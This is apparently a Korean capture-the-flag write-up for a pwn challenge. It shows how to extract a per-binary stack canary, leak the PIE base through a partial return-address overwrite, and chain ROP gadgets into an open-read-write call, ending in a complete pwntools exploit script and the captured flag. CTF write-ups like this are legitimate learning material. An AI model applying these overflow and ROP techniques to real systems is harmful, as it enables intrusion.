nc로 접속하면 그 때 그때 다른 바이너리를 준다. 따라서 직접 실시간으로 바이너리를 받아와 분석해야 한다.
기본 구조를 살펴보면 canary값을xxd로 바이너리를 열었을 때 기준으로 0x3020 오프셋 부터 총 10개의 카나리 값이 저장되어 있고, 이 중 하나를 카나리값으로 가져와 사용한다.
따라서 subprocess모듈로 직접 카나리 후보 10개와 그 중 사용되는 카나리의 인덱스를 가져오는 코드를 짜주었다.
p.recvuntil(b"This is Your Binary>")
p.recvline()
bin = p.recvuntil(b"input>")[:-7]
os.system("rm bin1")
os.system("touch bin1")
f = open("bin1", "wb")
f.write(base64.b64decode(bin))
f.close()
canary =[]
for i in range(5):
cmd = f"xxd bin1 | grep 30{i+2}0"
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()
out1 = out.split(":")[1][1:20]
out2 = out.split(":")[1][21:40]
out1.replace(" ", "")
out2.replace(" ", "")
canary.append(int.from_bytes( bytes.fromhex(out1)[::-1], byteorder='big'))
canary.append(int.from_bytes( bytes.fromhex(out2)[::-1], byteorder='big'))
cmd = "xxd bin1 | grep 3070"
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()
idx = int(out.split(":")[1][2:3])
이제 카나리값을 구했으니 bof취약점을 이용하면 된다.
그런데 pie가 걸려있어 pie_base를 구해줘야 한다. 일단 첫 싸이클의 ret에는 파이 관련 값이 적혀있고, 이 주소는 메인 함수와 마지막 한 바이트만 다르므로 마지막 한 바이트만 overwrite해 main을 다시 실행시켜줌과 동시에 출력 값을 기반으로 pie base까지 구해주었다. (아예 main시작으로 돌리면 stack alignment 때문에오류나서 mov rbp, rsp 부분으로 jmp시켜준다)
이를 실행하는 코드는 아래와 같다.
p.send(b"A"*(0x208)+p64(canary[idx])+b"A"*8+b"\x29")
p.recvuntil(b"A"*0x208+p64(canary[idx])+b"A"*8)
pie_base = u64(p.recv(6)+b"\x00\x00")-0x1329
log.info(hex(pie_base))
일단 main을 한 번 더 실행시킨 상태이므로 한 번 더 bof를 할 수 있다.
바이너리 내부를 잘 살펴보면 open-read-write함수가 주어졌으나 open의 대상은 rdi이고 마음대로 컨트롤이 불가능한 상태이다.
따라서 가젯을 이용해 rdi에 “flag”를 넣어주면 된다
다음과 같은 절차로 가젯을 사용해주었다.
pop rbp로 flag를 직접 rbp에 넣기
0x12ac 오프셋에 존재하는 함수=> rbp를 push ⇒mov rbp, rsp ⇒ mov rdi, rsp => pop r8. 즉, flag가 위치하는 “주소”를 rdi에 넣을 수가 있다.
이후 바로 orw함수 호출해주면 flag를 orw할 수 있음.
페이로드는 아래와 같다.
p.send(b"flag" + b"b"*(0x208-4)+p64(canary[idx])+b"A"*8+p64(pie_base+poprbp) + b"flag\x00\x00\x00\x00" + p64(pie_base+setting) + p64(pie_base+0x124e))
이렇게 익스해주면 아래와 같이 출력 중간에 flag가 출력된 것을 확인할 수 있다.
key: Th1s_1s_b34ut1fu1_c4n4ry
flag: HTO{6074a1bf8d8541fe896962859000ea89}
<익스코드>
from pwn import *
import base64
import os
import subprocess
p = remote("hto2024-nlb-fa01ec5dc40a5322.elb.ap-northeast-2.amazonaws.com", 5001)
ret = 0x000000000000101a
movr = 0x00000000000012b4
poprbp = 0x00000000000011d3 #pop rbp ; ret
setting = 0x00000000000012b0
p.recvuntil(b"This is Your Binary>")
p.recvline()
bin = p.recvuntil(b"input>")[:-7]
os.system("rm bin1")
os.system("touch bin1")
f = open("bin1", "wb")
f.write(base64.b64decode(bin))
f.close()
canary =[]
for i in range(5):
cmd = f"xxd bin1 | grep 30{i+2}0"
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()
out1 = out.split(":")[1][1:20]
out2 = out.split(":")[1][21:40]
out1.replace(" ", "")
out2.replace(" ", "")
canary.append(int.from_bytes( bytes.fromhex(out1)[::-1], byteorder='big'))
canary.append(int.from_bytes( bytes.fromhex(out2)[::-1], byteorder='big'))
cmd = "xxd bin1 | grep 3070"
out = subprocess.check_output(cmd, shell=True, stderr=subprocess.PIPE).decode()
idx = int(out.split(":")[1][2:3])
p.send(b"A"*(0x208)+p64(canary[idx])+b"A"*8+b"\x29")
p.recvuntil(b"A"*0x208+p64(canary[idx])+b"A"*8)
pie_base = u64(p.recv(6)+b"\x00\x00")-0x1329
log.info(hex(pie_base))
p.send(b"flag" + b"b"*(0x208-4)+p64(canary[idx])+b"A"*8+p64(pie_base+poprbp) + b"flag\x00\x00\x00\x00" + p64(pie_base+setting) + p64(pie_base+0x124e))
p.interactive()```